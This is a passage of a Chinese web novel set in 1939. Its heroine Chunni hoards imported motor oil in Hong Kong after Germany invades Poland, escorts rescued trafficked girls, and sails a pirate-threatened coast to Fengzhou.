来之前怡兴车行已经给春妮明言,她这是相当于要新做一种车型出来,制造过程中难免会有这样那样的意外,延长交货时间。她已经做好了充足的心理准备,让车行那边只管放心制作,千万不能因为赶工反而做出次品。 确定一时半会儿走不了,春妮索性放出风去,说打算在酒店里开个招商会,各方人士有意者均可以来参会畅议。 这个年代,能够稳妥赚钱的正当行业太少了! 春妮也没想到,消息一经传出,全港有些财力的商人几乎都是蜂涌而来。 她不得不又临时设置了诸多条件,譬如,与会人士必须提供在外商银行至少价值十万美元的黄金本票或等额资产证明,资产是否等额,由厂方判定。再譬如,与会者需要从事过相关行业,等等等等。各种条件限制下来,最后确定的名单中,来参会的人还是超过了两百名宾客。 春妮看着名单上面的名字,有很多在战前都是有名有姓的商界名流。即使有酒店方面借人借房,这场招商会最后居然办成了一个中大型酒会。 这么多人,即使她有三头六臂,也没办法一个人全程招待下来。只能跟上回一样,将王国柱拎出来帮她打杂。 港城的□□跟商界是两回事,王国柱是羊城人,来港城避难的商人中,羊城人占了一多半,他倒能跟人搭上话。再乔装一番,倒是帮了不少忙。 不过招商会麻烦归麻烦,她借机也认识了不少人,像她头疼的物流问题,这次也得到了解决。 等杂七杂八的事情忙完,东南亚的代理商敲定,时间已经到了八月底。 春妮从这些杂事中脱身出来前,怡兴车行的改装也到了尾声。 趁还在港城的最后两天,春妮找来丁细有和姚根发,让他们陪着自己再去了一次蛇头埠。 临到出发回家,她也该为自己的小金库打算打算了。 春妮之前货比过三家,知道这里买什么最划算。她在金牙发的店铺里采购了一批奶粉和洋酒,正在跟他结帐的时候,店铺邻街的那一边突然响起了极大的喧哗声。 金牙发立刻打发人出去看:“大眼仔,你出去看看,那些人在吵乜。” 片刻后,大眼仔回来笑道:“老大,冇咩大事啦。是欧洲那边,德国人打了个什么国家,波什么的?下边学生仔在大惊小怪搞笑。” 春妮手一顿:“波兰?” “咦,小阿姐你懂得不少嘛。就是波兰,好像说波兰部队打了德国人的电台,德国人出兵报复他们来着,你知道那个国家?” “听说过。”春妮掐了掐虎口,力使自己镇定:“发哥,我再问你买多点东西,可不可以更优惠?” “那要看你买咩喽。”金牙发吐了口烟圈:“要买咩?” 要买什么? 春妮的目光在货架上反复徘徊:欧洲要乱起来了,该买什么物资是又不占地方,又保值,自己还用得上的呢? 第97章 097 准备 “你仲想买乜?”金牙发斜眼盯着春妮, 也在盘算。他目光不由向子弹上转了转:要是连欧洲都开始打起了仗,军火供给恐怕会更加紧张,这些武器可就不是这个价了。 这个小阿姐看上去不好糊弄, 不知道能不能接受临时涨价? “机油, 你这里的壳牌机油,最大瓶,最好给我来十升以上包装的。我要一百瓶,你能吃不吃得下?”春妮终于选定目标。 其实春妮最想买的是药品,可惜她来这里时日尚短,还没摸到地下药品的渠道。而且药品,尤其是磺胺这种伤药如果在港城大规模流散开, 必然会引来倭国人阻截。他们全世界找药已经找疯了。 关键是,港城多洋货, 西药的价钱已经被炒到比天高,她带去海城的利润空间没那么高。 “你要这么多机油做乜?”金牙发被她的大手笔吓到了。听见打仗,她居然不先□□? “用啊,”春妮说话的口吻很随意:“你不是很清楚, 我刚刚在怡兴车行买了车?” “你不是买的卡车?随便用用国产的不好?” “哎,我说, 你卖不卖?不卖我去别家,那么多废话。”春妮不耐烦道:“我家又不是只有卡车,工厂那么多机器, 你以为都不用保养?” “卖,卖卖卖, ”春妮摆出这付无可无不可的态度,反而让金牙发放下了疑心,却道:“但我这里没有这么多机油, 你等我两天找货。” “两天后?你看我像很闲?”春妮道:“我明天的船离开港城,你要是三个钟后凑不齐,明天也不用找我了。” 金牙发作出为难的样子:“大佬,真不给宽限点时间?你这么赶,我很为难的。” 春妮连声推拒:“别叫我大佬啊,当不起。这样吧,我先出门逛逛,等你三个小时,你能找到多少给我多少。先说好,我要是找到更便宜更好的,可不会再等你了。” “放心吧大佬,”金牙发大喜:“我家的货一定是最便宜的。” 春妮忙道:“也别弄假的糊弄我,高档机油什么样,我又不是没见过。” “我知我知啦,大佬。还有咩?”金牙发有点不耐烦了。 “还有,叫你快点去。” 这次春妮来找金牙发,是由姚根发单独陪同她来的。 走出店铺,她伸了个懒腰,同姚根发道:“没事你可以先回家,我回酒店睡个觉。” 姚根发不疑有他,点头道:“好,有事你知道在哪找我。”又笑着道:“明天我就不去送你了,提前祝你一路顺风。” 春妮明天坐船回海城的事,姚根发也知道。为此,他特地请了一个下午的假来带着春妮进行大采购。 她谢过姚根发,听他不舍道:“小顾姐,下次来港城,记得找我饮茶啊。”他陪春妮来买一次东西,光是提成就是他干柜哥好几个月的薪水。现在春妮要走,自然是舍不得。 说罢,叫来个车仔,将春妮送上车,他自己也转身离开。 而春妮上了车,一出蛇头埠,马上对车仔道:“去麦尔逊大道,快。” 全港城的车行几乎都集中在麦尔逊大道,她必须趁其他人没反应过来,尽可能多地采购机油! 德国开始进攻波兰,这绝对是一个讯号,说明从现在开始,离欧洲大战不远,离英国人卷进战争不远,离世界大战也不远了。 如今世界上所有的石油资源,大部分由美国出口,另外一部分则间接把持在英国公司手中。一旦英国人参战,欧洲战争开始,油价绝对会迎来一波大涨,说不定翻高十倍都不是梦。 如今华国石油绝大部分仰赖进口,海城的港口又被倭国人把持,石油强行被他们纳入军管物资,原本就闹油荒,这件事传出来,只怕市面上仅有的一点石油也会被人买空。 如果春妮手上现在有十万美金以上的黄金本票,她绝对会毫不犹豫地撒出去,全部用来采购石油。 可惜……她盘算了自己的身家,叹了口气:连十万的零头都不到,还是不要做白日梦了。 幸好她宁愿多花点钱,将买来的车改造成了烧木炭驱动—— 等等,难怪全港都买不到她原本打算 买的德国车,德国人一定想办法在战争之前限制了车辆的出口! 什么波兰军队攻打德国人的电台?狗屁!这绝对是德国人的阴谋! 不过,以后想要买车,只怕会更难了。 此念一起,春妮顿时升起了一种再买一辆车的冲动。 这种冲动,在回到酒店,春妮打电话问韩厂长,工厂帐上还有多少钱时,随即化为了乌有。 “厂长,你得说服方校长,把帐上所有钱马上换成美元,英镑也行,走汇丰银行或者花旗银行给我汇过来,我有大用。” 就像大多数人一样,韩厂长并不认为远在欧洲大陆的事跟华国会有什么联系,还担心地问:“小顾老师,你是不是遇到什么事了?” 远在欧洲的蝴蝶扇动了翅膀,惊醒的最终只会是感应最灵通的极少数人。就像大浪在即,预知天时的只有最经验最丰富的渔民一样。 “……我没有。我不是跟你说过?欧洲要打仗了,咱们得早做准备。” “早做准备也不至于帐上一分钱不留,全部给你汇过去吧?指定是有什么大事,小顾老师,咱们交情可不一般,你要是真有什么事,千万别瞒着我啊。厂长我受得住的,再不济,我们厂里还有这么多人……” “我真不是……” “小顾老师——” 春妮:“……”她粗暴道:“那你就当我被□□绑架了吧。总之,快点汇钱过来。” 韩厂长惊慌起来:“什么?小顾老师,你别害怕啊。你把你电话交给你身边人,我跟他们说。” 春妮:“……” 好在经过一系列一言难尽的操作之后,学校那边到底把钱给春妮汇了过来。虽然过程跟想象的不一样,达到结果也……行吧。 打这个电话,跟打了一场仗似的。挂断之后,她看向站在外头的王国柱,问了他一个问题:“王国柱,我能相信你吗?” 王国柱立刻挂上殷勤的笑容:“当然能了,小顾姐,我的为人你放心。只要是您的吩咐,让我上刀山上刀山,让我下火海——” 春妮:“……行了行了。”说话这么讨人厌,让他办大事,他会不会事没办成,又让人给打了? 不过,时间和条件也不允许她再挑剔。 学校的钱加上她的钱,勉强能再买个柴油发动机和一些配件。但全都只用来购买配件,除非他们还有打算自用,否则只能压在手里,看缘份出手。 所以,她打算这些钱全拿出来购买机油。 机油跟汽油和柴油一样,原材料同样是石油,远没有汽油打眼。而且海城的汽车大部分被改装成了木炭车,对石油的需求大大降低。但即使是木炭车,也需要机油保养机器。 目前市面上的国产机油由于提纯技术和添加物的关系,质浊且过于粘稠,使用时间长了,会对发动机有很大的损耗。越是高档汽车,保养越不能马虎。想好好保养机器,还得用进口机油。 买得起高档汽车的人家,更加不会缺买机油的钱。 她先让王国柱到高级成衣店租了套西装和公文包,叫他伪装成内地出来为自家产业采买配件机油,却又不太懂,想每个店都买一点,货比三家的车行小开,以车行这条街最外围为起点,开始了疯狂扫货。 港城的车行总共就那几家,春妮这几天时常出入,那些人都认识她,不方便出面。 王国柱花了不到一个钟头,为春妮带来了二十罐二十升装的壳牌,骆驼牌等英美高档机油。 数量不算多,但春妮早有心理准备。这里是车行,不可能将存货全部倒给他们。想买到最大数量的机油,还要到三虎地去。 三虎地在内地和港城的交界处,最西头便是码头,也是王国柱解救被拐卖女孩子,引来蛇头追杀他的地方。 这里除了是烟土贩和人贩子的天堂,还是全华国乃至全亚洲最大的矿产走私地区,大量产自华国的坞砂,桐油等原材料及其加工品通过这个三不管地带,用白菜价被盗运到全世界。而沉重的矿产不可能使用人力帆船运输,因此,这里也停留着许多外国私商蒸汽船,乃至一些国家的军舰也会偷偷在此地停靠拉货,日夜不息。 这些船只靠港之时,有时需要简单地检修,除了码头,三虎地的机油才是最多的。 春妮去过蛇头埠之后,确定那天追杀王国柱的人都没看清她的相貌,在顺利拿到金牙发手里的机油的第二天,她假装登上回海城的船,实际上再次乔装一番,去了三虎地。 跟外人想象的不同,三虎地到处充斥着乱搭乱建的窝棚,时常有赤着身体的小孩在狭窄的过道里跑去跑来。 这里也是港城最大的贫民窟。 为了不让人察觉到有人在收购机油,她只能一家一家地跑,高档外国机油本来就是俏货。春妮每一家只收购一点,花三天时间,花光了手里所有能动用的资金,为学校和她自己换来了五百多罐机油,以及两只勃朗宁和两千发各类枪支的子弹。 这点机油对海城的高档汽车消费群来说,远远不够,但可能会是学校最后的底牌。 而这个时候,春妮抽空改装的几块车斗已经先一步抵达了海城。 这次突发事件打乱了春妮的所有计划,她的空间无论怎么腾挪都不够放,只能将一些相对不那么重要的物资委托物流公司帮忙押运回海城。 她离开港城的那天早上,所有的报纸铺天盖地全是同一个消息—— 《英法两国同时向德国宣战》。 欧洲大陆的战争正式拉开了序幕。 第98章 098 稳妥 “快, 快来跟小顾姐问个好。”码头上,王国柱伸着脖子张望半天,待看见自远处走来的春妮, 推了推身边站着的姑娘。 他自己则一路小跑, 殷勤接过春妮的包袱,笑说:“我来,小顾姐,我来帮你提。” 见春妮看亦步亦趋跟着他的小姑娘,忙推她一把,笑道:“那……那什么,这就是贱内, 小名叫孝姑。” 孝姑梳着两条油亮的大黑辫子,极小声地给春妮问了句好。 春妮似笑非笑, 同王国柱说:“不错啊,出来一趟,白赚个漂亮媳妇。” 孝姑纵然埋着脑袋,看不出具体相貌, 但从她浓黑的眉毛,笔挺的鼻子来看, 必定相貌不差,配王国柱是绰绰有余了。 因为三虎地那边的事,王国柱一个人不敢坐船回家。春妮看在他这几天干活还算勤勉的份上, 答应带他一道,给他一点庇护。 她坐的是物流公司的运货船, 这艘船常年跑海城,沿途停靠上货卸货,这次却只到粤省的邻省, 海西首府便下。王国柱的家乡羊城也在此次靠港的线路中,捎他一路不是难事。 但今天临出发之前,这家伙才期期艾艾跟春妮坦白,说自己有个媳妇,要跟他一路回家,请春妮一道帮着带带。 这个年代,谁出来跑商还带着媳妇一起跑?嫌世道不够乱? 这几天他一直跟着春妮在做事,这种情况,他敢一个人把媳妇放在外边? 春妮略一思量,便明白了他所谓“媳妇”的真相,这人招架不住她的逼问,很快坦白:果然他的“媳妇”孝姑当天就是被他救出来的姑娘之一。在他的嘴里,这还是个英雄救美,美人以身相许的故事。 王国柱讪讪笑,笑容里带着点得意:“运气,运气。”那小眼睛一挤,看上去真有点贱兮兮的。 春妮转向孝姑,说道:“他说你是他媳妇,我看不太像。你要是有什么隐情,大胆说——” “小顾姐!”王国柱紧张地叫出了声。 “怎么?心虚了?想堵我嘴,不让我说话了?”春妮轻飘飘看他一 眼,继续对孝姑道:“你不用怕他。” 孝姑一直紧张地低着脑袋,紧紧攥着双手,直到此时,才微微抬起头,仍是不敢看春妮:“没,没有。小顾姐,我是自愿跟我男人的。” 王国柱立刻喜得一张脸开了花:“小顾姐,我就说我没骗你吧?” 让春妮一瞪,他马上又怂了。猫在一边,听这小姑娘用前所未有的和善口气问他媳妇:“哦?那你多大了?哪的人?怎么到的港城?这几天都住在哪?” 王国柱刚想张嘴,让春妮轻飘飘一眼看过来,便又怂了。 只能支着耳朵听孝姑一个一个回答问题:“我有十七了……后山村的……我爹要娶后娘,养不起我,把我和我妹子卖了……我男人给了我钱,叫我跟妹子在码头躲着……” “等等,你还有妹子?你妹子呢?”春妮怎么看,这姑娘跟她都差不多大。不过这个年代,街上十个女人,有九个半都是干瘪瘦小的。光看外表,也不能说明什么。 “她在那边,还,还有我们几个一起跑出来的姐妹……我男人来找我……他给了我钱的……我们没饿着……”她懦懦说。 春妮盯着王国柱,冷不丁道:“你是不是威胁别人,不答应当你媳妇,你就不帮着放人出来?” 王国柱张大嘴,没等说话,孝姑先急了,挺身道:“不关我男人的事,是我说要给他当媳妇的。” 先时孝姑开口,说话跟蚊子哼哼似的,喘气声大一些,就听不到声音了。这一句说得倒又急又响,引得船上的水手都看了过来。 王国柱顿时乐得一张大嘴咧到后脑勺:“小顾姐,你看,我没骗你吧。真是我媳妇自己个儿愿意跟着我的。” 孝姑甚至往前站了两步,将王国柱挡在后边。但她对着春妮又着急又害怕的样子,的确不是作假。 春妮无语道:“我就问两句话,不会把你们怎么样,用不着这么害怕,想干嘛干嘛去吧。” 她怎么会不知道?能转脚被当爹的卖了的人家会是什么好人家。反而王国柱,长得是丑了点,可他敢在蛇头面前耍花招救人,至少胆子跟良心都有一点。他还有点钱出来跑商,家里也不会穷到哪去。 孝姑的选择,说不定是她能力范围内所能做的最好的决定。 王国柱的救人动机没有那么纯良,春妮既意外,又不意外。这世上愿意不求回报牺牲自我的人,原本就屈指可数,王国柱只是个普通人,他愿意在那个时候站出来,至少说明了,他不是个坏人。 这就够了。 公司在港城和粤省没有星点根基,王国柱家是羊城大族,说不定以后还有用到他的时候。 春妮站在甲板上,看王国柱跑下船,将船下几个姑娘接上了船。在船头跟船老大交涉一会儿,他又骚眉耷眼地回来了。 “小顾姐——” “要借钱买船票?”春妮挑眉。 他讪笑:“是,是。船老大不肯用丝袜抵船票,冇办法啦。” 春妮好笑:“要不要我们先算算帐?你这几天吃了我几顿饭,每顿饭花了——” “不用不用,”王国柱拿出个本子,认真道:“我出门起就记着呢,小顾姐,你看。八月二十三号,晚饭,小顾姐请我吃的艇仔粥……” “行了行了,把她们领过来吧。船票我出了。” “这可不行,”王国柱急得连官话都不讲了:“我老豆讲过,执条袜带累身家。小顾姐待我好,我不能得寸进尺。这些姑娘是我惹来的麻烦,就该我解决。该我管的事,不能让别人代我受累。” 他一笔一笔,同春妮核对过之后,加上那几个姑娘的船票,另外给她打了张借条。 这让春妮对他又高看了一眼。 “那几个姑娘呢?你准备怎么安排她们?” 王国柱显然已经有了打算:“先把她们带回家,正好我有几个兄弟没成亲,我问问他们,要是愿意,就娶两个老婆。” “要是她们不愿意呢?” “那先行一步看一步,”王国柱说起这事也挠头:“帮人不帮到底,还不如一开始就不管。啊对,仲有几个姑娘,她们是被拐骗出来的,我都忘了问她们家乡。” 说完,他跟春妮道声罪,颠颠跑过去,到了那群女人里,嚷嚷着:“你是罗城人?好,你是小王村?哪里的小王村?你也不知道?有冇搞错,你系边度人,自己都唔清楚?呢下大条咗。” 她不再理会王国柱那边的事,趁船还没开,下了甲板,上到后边的驳船,去检查这次要带走的货。 其实春妮的空间里完全放得下这些东西,但为公司寻找一间合格的物流,也是她这次的任务之一。而且这次她买车买物资,闹出来的动静不小,也需要对这些物资的流向让其在世人眼里有个清晰的路线。 春妮这次选择的物流公司在战前就跑海城到港城这条线,是粤港本地的船商,公司店东姓易,在港城大大小小以海运起家的“船王”中,并不起眼。 但春妮看中的,就是他这份不起眼。 易老板说,他的船不运大烟膏,不运军火,私盐这些容易被查的违禁品,就是粮食,棉花这些敏感物资,也很少接手,为的,就是行船路上的这份稳妥。 他认为,与其为了高利润被倭国人盯上,还不如收拢生意,哪怕少赚一点,也要先保住自己的安全。 如果不是看上了玩具厂的竹凉席生意,他也不愿意冒险接这一单。幸好卡车最容易被人觊觎的发动机和轮胎,并没有交给他们来运送。 易老板一点也不嫉妒那个接了大单的物流公司,不过他对春妮没选择那条物资船押运,而是选择上他们这条船也很好奇,因而笑道:“小顾姐年纪这样小,出来一个人跑船的姑娘真是少见。” 春妮道:“难道比我年纪大的姑娘,也有一个人出来跑船的?” 易老板惊讶她的敏锐,点头道:“那自然是有的。不过,一百个男人里,有一个就不错了。” 春妮讶道:“这么少?” “在过去,女人不能上船。”易老板解释道:“咱们船行里,最讲究这些老规矩。就是现在,好多船上都还有这规矩。” “那易老板见过像我这样的女人,一般是怎么样的?” “一般在三十多岁,二十多岁的也有,不过,她们要么跟自家兄弟,要么跟男人一起跑。对了,”易老板回忆道:“今天我看见一个女人,二十多岁,好像也是一个人出来跑船的。” “是吗?在哪?” “在那条船上,”易老板随手一指,春妮只看见一个盘发髻,穿着粗布衣裳的背影。那背影腰身微躬,倒像是常年弓背弯腰伺候人的下人一样。 “穿得好简朴,看不出来是个货主。” “就是要这样,越不像有钱人越安全。” “真正有钱的人,不管装得再像,也会露出破绽的。一个人的生活习惯有时也会泄露出她的出身。你看那个人,她跟人说话,手是垂着的,下巴习惯性往下收,看人从下往上看,她应该不是久居上位的人。”春妮的看法却不同。 她凝视着那个女人的背影,那种久违的眼熟感又出来了。 易老板跟着眯着眼睛看了会儿,赞同道:“有点道理,小顾姐,你眼力真好,在这里也看出那么多事。” 易老板没想到,春妮这个小姑娘,说起话来倒很有见地。两人不知不觉聊了许久,一直到船开之后,才告辞离开。 易老板一走,王国柱立刻就上来了,他讨好地对春妮笑:“小顾姐——” “那些女人回家要路费是吧?”春妮了然道:“你把她们叫来,我问问她们家乡。” 王国柱待要说话,春妮问道:“你还想为她们付路费?你自己还欠我一屁股帐。知不知道什么叫有多大碗,吃多少饭?” 王国柱悻悻道:“我给小顾姐添麻烦了。” “那你是后悔了?” “那倒没有。我老豆讲,食得咸鱼抵得渴。我当天答应过她,不管再难,也该做到的啦。这些女子都好可怜的,帮她们一把——” 春妮挥挥手,他忙不迭闭了嘴,将这群姑娘们领到了她面前。 其中有几个姑娘实在说不出自家地址,只能作罢。剩下几个都是粤省人,而且大部分来自粤西山区,不能再继续坐船,却正好可以结伴回 家。春妮一人给了她们两块钱当路费,让王国柱带她们到羊城下船,再想办法送她们回家。 羊城离港城原本没多远,易老板的货船纵然行得慢些,到下午时分也靠了港。 王国柱领着新到手的媳妇来跟春妮告别时,船上来了几个穿黄制服的倭国人。 春妮看见,易老板赶紧迎上去,赔笑向为首的倭军手中塞了两样东西。 “易老板不是说,他船上不载大烟吗?”春妮看清他手里拿的东西,眉头一皱。 王国柱是本地人,同春妮解释道:“这些公班土是可以换大洋用的。又轻又不占地方,还值钱,那些倭国人很喜欢。老板们就是自己不用,也会备上一些贿赂他们。”又说:“我家离码头不远。船上下货还要几个钟,小顾姐不如跟我先下船喝杯茶,到家里认认地方。” 王国柱嘴里的公班土是原产自印度的大烟,也是质量最好的烟土之一。因为印度和英国的关系,多由英国人通过南洋,走港城,走私贩运到华国售卖。 倭国人目前为了国际形象,明面上在像海城这样的大城市禁了烟,实际嘛,春妮内心呵呵两声。 她笑:“没见过欠债的人比放债的人还紧张。我都不怕你跑,你怕什么?” 她转头看看跟在王国柱身后的几个姑娘,再看看码头上一溜串的倭国人,点了点头:“去逛逛也好,带路吧。” 第99章 099 称量 春妮乘坐的这条船客货兼运, 客舱在前,后边还拖着一条运货的驳船。王国柱说,这样的船都是以运货为主, 乘客的舒适性并不在其考虑之中。 因而前面的客舱不分男女, 通通只设板凳硬座。若有货物押运,都在后边那条驳船的甲板上放着,货主可以免票分到一个床铺。条件比之春妮来时乘坐的太古专线自然远远不如,当然,票价也是天上地下。 难怪易老板说,海上跑船的女人少。若大多数船上都是这个条件,哪个女人敢走这条路? 看在她是这条船唯一女货主的份上, 易老板将自己每次押船,在船长室旁边专门辟出来休息的小舱房让出来。但那舱房明显是一个小杂物房, 里头没有窗,只放得下一条行军床,人进去不多会儿,就被闷出一身的汗。 一条蒸汽船拖一条驳船, 沿途还要上货下货,速度不可能快。易老板说, 他们一般走得最快,也要七天才能抵达海城,运气不好, 十天以上也有可能。 今天船上有鲜货,不可能走长线, 因此只到海西首府丰州就返航,到丰州的话,三天就可以抵达。 像王国柱的家乡羊城就是大港, 每回易老板至少要在这里待两个小时上货下货。 借这点时间,春妮被王国柱带去他家认了门。 他家五代同堂,是当地很有名的一个大家庭,据说太曾祖那一代曾经做过大海盗,后来被朝廷招安,上岸当了个把总,慢慢开枝散叶,如今王家子子孙孙加起来,起码有百数人之多。 粤省人重视家族,王家五代人都住在城中一个砖木结构的大宅子中,仅仅从弄堂外经过,就有不下十个人跟王国柱打招呼:“阿柱回来啦,这一趟赚到什么啦?” “呢件系新衫?真发财啦?” “仲有这么多女仔?你改行当人蛇啦?” “柱仔,你不能再赔钱啦。你阿妈每天盼你出息,你老豆还躺在病床上等你药钱,知唔知啦?” 王国柱尴尬地赔着笑,对春妮道:“我们家的人一向很热情,小顾姐,你别见怪。” 春妮很新奇,她两辈子唯一见过的大户人家就是王地主家。可王地主家里院子宽敞得能跑马,不像王家,王国柱跟他爹妈兄弟,一家五口人挤在两间小屋里,他还得靠贩袜子谋生养家。 说是大户人家,也太接地气了,完全感受不出来什么。 “你家这么有钱,怎么还要跟我一样去港岛搏命?” 王国柱叹:“这说来话长啦。我们家大业大,人也多,有钱的是主枝,我们家也是穷人。总之一句话,每回我跟着大家出去,大家都要亏钱,时间久了,谁也不愿意带我,我只能一个人去啦。” 王国柱告诉春妮,其实这栋房子里除了嫡枝,有点钱的人家平时都不在这边住,住在这里的,跟他们家差不多,买不起新房子。 “我老豆讲,祖宗保佑,有片瓦遮身,不能强求太多。”他倒是很乐观。 到了地方,又将他家里人介绍给春妮认识,因为春妮还要赶船,王国柱代她挡下他爹妈的热情招待,拉着她说要去饮茶。 他爹妈听王国柱说,春妮在港城请他做事,又是好一阵热情招待。要不是他爹躺在病床上起不来,恐怕一大家子都要送出来。 春妮可算信了王国柱说的,他热情过度的毛病是从他爹那继承来的了。 至于那么些姑娘,王国柱让她们都站在了街外头,估计是怕爹妈着急,回去的时候也没提。这会儿叫他领着,准备一起去茶楼。 看他穷的那个样,估计这顿茶只能春妮吃着,她们看着,春妮赶忙止住他,出了点钱,让她们在外边的茶摊上坐下,一人点了碗云吞面,让她们慢慢吃着,跟王国柱进了茶楼。 在港城这些天,一件事接一件事发生,一直忙得透不过气,春妮根本没心思吃好吃的。这会儿坐下来,虾饺,萝卜糕,豉汁凤爪,再加一碗蒸得酥烂的排骨饭,虾饺鲜滑,萝卜糕清甜,豉汁凤爪咸香有嚼劲…… 春妮抹抹嘴,满足地叹气:人生在世,忙忙碌碌地,不就是为了这碗安乐茶饭吗?这才是生活,这才是享受啊! 可惜这个年代,欢乐少苦痛多,供她吃一碗安乐饭的时间太少了。 就像现在,她从茶楼往下看了眼,对王国柱道:“快让那几个姑娘藏好,有倭国人过来了。” 三分钟前,这条街还是人声鼎沸,行人如织。这些闯进来的倭国人就像电脑画图软件的擦除键似的,不到一分钟,行人们躲的躲,藏的藏,没一会儿,一整条街干干净净,连片树叶子都不剩。 王国柱顾不上答应,飞奔下了楼。 春妮吃完最后一口虾饺,出茶楼时,王国柱已经等在了门口。 “不用送我了,快去安置那几个姑娘。”春妮顿了顿,道:“等我回了海城再给你信儿。” 王国柱终于听到想听的,开心地笑出来:“好吔,我在家等小顾姐消息。” 看他这么开心,春妮忍不住道:“要是我真需要你再到港城去,你真不怕被那些□□认出来?” 王国柱脸上一垮,垂头丧气道:“有乜办法?要食饭,要养家的啦。我们家有几个兄弟在港城那混的还行,大不了我拉下脸去求人说和说和,保命还是冇问题哒,毕竟冇人真的看到我干了咩事情。”说到最后,去瞪旁边的孝姑:“你这婆娘,以后好好待在大屋伺候公婆,记得莫出门,明唔明?” 孝姑站在他身后,又变成了那个低眉顺眼的小姑娘,嚅嚅点头:“明,明!” 回到码头没多久,船就开了。 因为小舱房条件太差,这一次出行,除了晚上睡觉,春妮每个白天都长时间停留在甲板上,有时听水手们说话,有时跟货主们聊天,倒是知道了不少有关这条海岸线的事。 从港城到海城的这一路,真正不安全的地界要从粤西开始,到南江东部温南结束。春妮选择从港城到丰州这段路乘坐货船,也是因为除开港城到羊城,接下来的行程中,海盗众多,各方势力交错,最是凶险。她既然将易老板作为物流的合作人选,自然也要称量称量他在这段路 上的表现。 因为粤西到海西地区多山,自从百多年前战乱开始,山上就开始盘踞着大大小小的土匪。有的土匪纵横山里,为祸乡邻,有的土匪邻近海岸线,靠水吃水,便靠劫掠客船为生。 一般海匪装备有限,主要不是差在船,而是行船用的煤炭,机油等能源。一窝海匪里有一条能运行的蒸汽船,已经是很成气候了。 春妮之所以来时一路无风无波地抵达港城,除了因为太古的船全部是钢铁大船不好打,再有就是它沿途不靠岸,一路都在大洋中航行,海盗们的装备跟不上,想劫掠这样的船只很难。 还有一些运货的船主,若是遇到落单的小商船,分分钟也会化为盗匪来个黑吃黑。遇上手辣一些的,整船人去,一个活口也剩不下来。 难怪太古有底气跟方校长保证她的安全,还卖得这么贵。真的是贵有贵的道理。 当然也不是所有洋船都这么安全,春妮在去温南之前,方校长在报上看到一则消息,说是怡和洋行的一艘商船被江匪击沉,所有货物被劫掠一空。 这次有懂行的水客就跟春妮说,江匪们才不会费大力气去劫洋行的船,肯定是他们主事人有哪里做得不周到,引来人报复。在海上走船,看的不是人本事多大,而是懂不懂规矩,知道对谁该客气,对谁该硬气,对谁就该上家伙直接拼。 江上洋船出事算大新闻,海上洋人不懂规矩,导致洋船出事的其实更多。以前还曾发生过粤省海盗跟英国海军打水战,击沉其军舰这种事,导致洋人逼令前朝政府剿匪,却几次不了了之。以前这一片有政府的约束还好一点,现在嘛,政府都自身难保,谁来管? 春妮在坐船的第一天晚上就遇上了一伙海匪。 当时她在船舱里休息,突然感觉到甲板猛地抖动起来,一门之隔,船上的水手们不知什么时候集中在船头,吼声震天。 春妮赶紧披衣起身,只见船头处灯火大亮,数十名水手手中操着船桨,船桨“夺夺”顿地声中,船长的号令穿透号领,领着众人一声松,一声紧地喊:“天光明,人三众,海鬼退。海~鬼~退~~~” 等春妮冲到驳船,跑到自家货柜前查看货物时,前头的号令已收,水手们放声欢呼起来。 “走了走了,海鬼走了。”她旁边不远处,有海商笑了出来。 “这位伯伯,那些海——”话到嘴边,她赶紧打了个顿儿:“那些海鬼真的退了吗?” 粤西绿林道有不成文的规矩,海盗们白天为盗,晚上为鬼。遇上商船,船方不想喝破对面来路,便假称对方为“鬼”,而水手们点灯大喝,也是在壮己方声势,向对方扬威,意为我已经发现你们,你再上来化鬼为盗,咱们就拼个你死我活。 若他们并没劫掠,有人斥其为“盗”,说不定有那耳朵尖的,听见了来杀个回马枪。 船商吃的是搏命饭,这方面讲究尤其多。比如行船最忌讳说“翻”,不能说“沉”,不准在船头撒尿招惹晦气等等等等。 “肯定是走了,你看易老板都没让我们上去帮忙。”这人腰下悬着把大刀,将它弹得铮铮响。 过不了片刻,果然听见前边有人传话,让客商们都回舱里睡觉,今晚不会有事了。 此后两天,春妮又遇到两次类似事件。 一次是船方派了条小船,给对面船上的海盗送了一箱货物。据海商们猜测,那一箱子里多半是盐,要么是烟土。这种只在白天冒头,收过路钱,不滋扰船方的海盗都好打发,算是盗亦有道的一种。 而还有一次,双方只是大声打了招呼,易老板请一位老水手在船头喊了几句土话。海商们都说,他们在对切口,应该易老板跟那些人有什么关系,对上了,对方就放了行。 这个关系不一定指的是同流合污的坏关系,有可能是双方谈好条件,约定在一段时间内供给多少物资,或多少大洋,对方保他们在这段路上的安全,诸如此类。 如此,三天后,船只顺利到了丰州。 春妮要下船了。 易老板特地来送春妮:“小顾姐,一定要等我七天后来接你。” 春妮笑道:“不必,我还有些别的事,七天后不一定还在丰州。” “那……咱们说好的事?” “等我回去就签合同,到时候咱们海城见,易老板到时候可要记得准备一艘大船哪。” 易老板放下心,哈哈一笑:“一定,一定。”再问:“你真不要我的人帮你带个路?” 春妮想起自己要做的事,不是别人能掺合的,拒绝得更加坚决:“不用。” 第100章 100 重担 海西出巨盗。 如果说南江省是四分水三分山三分田的格局, 那么,与它一省相隔的海西省,起码有八分都是山, 一分是水, 剩下的一分田,也多是常年被海水浸染的盐碱地。 因为前朝海禁,许多活不下去的海西人偷偷打造私船,干起了平时为商,遇事为匪的活计。而海西山间也不太平,时常三五十人啸聚山林,开山拦路, 劫掠过路客商。 大概正因海西人行事彪悍,海西又没什么资源, 倭军这两年多里只强攻过两次,没有攻下来,便转移目标,暂时放弃了这块硌牙的硬骨头。 走这一段路, 需要经过英属殖民地,倭占区, 国统区,以及大大小小的三不管地带。情况千变万化,能够平安顺利地走来, 足够证明易老板的处事能力,所以春妮对他很满意, 当然就敲定了合作意向。 这是春妮出家乡一年多以来,第一次碰见有政府军把守的海关关口。 老实说,印象不是太好。 不过她并非单枪匹马, 也只是暂时停靠,并不怎么担心出事。 同易老板告辞之后,春妮带着她的货在码头上站了会儿,十来个彪壮汉子上前,为首的人向她笑道:“想不到是小顾姐亲自来押货。接到你的电报,我们马不停蹄地就赶来了,幸好没迟到。” 几个人守住货物的几个角落,将周围探究觊觎的目光隐隐隔离开。 这人正是闻老板指派来,专门负责跟春妮签过合同的刘长寅。 早在怡兴车行将车全部打造完毕,春妮就曾通知过温南这边随时准备接货。 想到这里没有人会开车,她反正也要回海城,索性跟海城那边打好招呼,决定先去温南一趟,教点基础技术再回家。 刘长寅一身粗布短打,带来的几个人清一色双目有神,一看就是精湛有力的练家子。再看他们腰间鼓鼓,显然都带了家伙。 春妮笑道:“我也没想到,会是刘老板你亲自来。” 